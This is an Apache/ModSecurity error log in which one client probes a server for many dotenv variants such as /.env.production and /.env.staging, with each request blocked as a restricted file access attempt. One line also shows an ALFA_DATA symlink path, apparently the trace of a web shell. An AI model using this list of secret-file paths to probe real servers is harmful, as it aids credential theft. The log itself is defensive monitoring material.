[Sun Oct 25 13:48:56.537463 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at5BCLc82c1J4zoyxalWUgAAAAI"]
[Sun Oct 25 13:48:56.537730 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at5BCLc82c1J4zoyxalWUgAAAAI"]
[Sun Oct 25 13:48:56.685704 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "at5BCLc82c1J4zoyxalWUwAAAAI"]
[Sun Oct 25 13:48:56.685944 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "at5BCLc82c1J4zoyxalWUwAAAAI"]
[Sun Oct 25 13:48:56.686261 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "at5BCLc82c1J4zoyxalWUwAAAAI"]
[Sun Oct 25 13:48:56.832592 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "at5BCLc82c1J4zoyxalWVAAAAAI"]
[Sun Oct 25 13:48:56.832856 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "at5BCLc82c1J4zoyxalWVAAAAAI"]
[Sun Oct 25 13:48:56.833192 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "at5BCLc82c1J4zoyxalWVAAAAAI"]
[Sun Oct 25 13:48:56.977570 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.prod"] [unique_id "at5BCLc82c1J4zoyxalWVQAAAAI"]
[Sun Oct 25 13:48:56.977934 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.prod"] [unique_id "at5BCLc82c1J4zoyxalWVQAAAAI"]
[Sun Oct 25 13:48:56.978409 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.prod"] [unique_id "at5BCLc82c1J4zoyxalWVQAAAAI"]
[Sun Oct 25 13:48:57.122259 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.development"] [unique_id "at5BCbc82c1J4zoyxalWVgAAAAI"]
[Sun Oct 25 13:48:57.122538 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.development"] [unique_id "at5BCbc82c1J4zoyxalWVgAAAAI"]
[Sun Oct 25 13:48:57.122875 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.development"] [unique_id "at5BCbc82c1J4zoyxalWVgAAAAI"]
[Sun Oct 25 13:48:57.266878 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.dev"] [unique_id "at5BCbc82c1J4zoyxalWVwAAAAI"]
[Sun Oct 25 13:48:57.267100 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.dev"] [unique_id "at5BCbc82c1J4zoyxalWVwAAAAI"]
[Sun Oct 25 13:48:57.267412 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.dev"] [unique_id "at5BCbc82c1J4zoyxalWVwAAAAI"]
[Sun Oct 25 13:48:57.411307 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.staging"] [unique_id "at5BCbc82c1J4zoyxalWWAAAAAI"]
[Sun Oct 25 13:48:57.411620 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.staging"] [unique_id "at5BCbc82c1J4zoyxalWWAAAAAI"]
[Sun Oct 25 13:48:57.411969 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.staging"] [unique_id "at5BCbc82c1J4zoyxalWWAAAAAI"]
[Sun Oct 25 13:48:57.557287 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.stage"] [unique_id "at5BCbc82c1J4zoyxalWWQAAAAI"]
[Sun Oct 25 13:48:57.557541 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.stage"] [unique_id "at5BCbc82c1J4zoyxalWWQAAAAI"]
[Sun Oct 25 13:48:57.557893 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.stage"] [unique_id "at5BCbc82c1J4zoyxalWWQAAAAI"]
[Sun Oct 25 13:48:57.713402 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.test"] [unique_id "at5BCbc82c1J4zoyxalWWgAAAAI"]
[Sun Oct 25 13:48:57.713710 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.test"] [unique_id "at5BCbc82c1J4zoyxalWWgAAAAI"]
[Sun Oct 25 13:48:57.714054 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.test"] [unique_id "at5BCbc82c1J4zoyxalWWgAAAAI"]
[Sun Oct 25 13:48:57.858832 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.uat"] [unique_id "at5BCbc82c1J4zoyxalWWwAAAAI"]
[Sun Oct 25 13:48:57.859072 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.uat"] [unique_id "at5BCbc82c1J4zoyxalWWwAAAAI"]
[Sun Oct 25 13:48:57.859383 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.uat"] [unique_id "at5BCbc82c1J4zoyxalWWwAAAAI"]
[Sun Oct 25 13:48:58.003093 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.qa"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.qa"] [unique_id "at5BCrc82c1J4zoyxalWXAAAAAI"]
[Sun Oct 25 13:48:58.003379 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.qa"] [unique_id "at5BCrc82c1J4zoyxalWXAAAAAI"]
[Sun Oct 25 13:48:58.003757 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.qa"] [unique_id "at5BCrc82c1J4zoyxalWXAAAAAI"]
[Sun Oct 25 13:48:58.147704 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.preprod"] [unique_id "at5BCrc82c1J4zoyxalWXQAAAAI"]
[Sun Oct 25 13:48:58.147957 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.preprod"] [unique_id "at5BCrc82c1J4zoyxalWXQAAAAI"]
[Sun Oct 25 13:48:58.148312 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.preprod"] [unique_id "at5BCrc82c1J4zoyxalWXQAAAAI"]
[Sun Oct 25 13:48:58.238773 2026] [core:error] [pid 2867834:tid 2867834] (13)Permission denied: [client 3.90.73.206:40791] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/device:04/eject
[Sun Oct 25 13:48:58.292415 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.live"] [unique_id "at5BCrc82c1J4zoyxalWXgAAAAI"]
[Sun Oct 25 13:48:58.292735 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.live"] [unique_id "at5BCrc82c1J4zoyxalWXgAAAAI"]
[Sun Oct 25 13:48:58.293115 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.live"] [unique_id "at5BCrc82c1J4zoyxalWXgAAAAI"]
[Sun Oct 25 13:48:58.437086 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.example"] [unique_id "at5BCrc82c1J4zoyxalWXwAAAAI"]
[Sun Oct 25 13:48:58.437343 2026] [security2:error] [pid 2873042:tid 2873042] [client 91.92.242.37:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.example"] [unique_id "at5BCrc82c1J4zoyxalWXwAAAAI"]
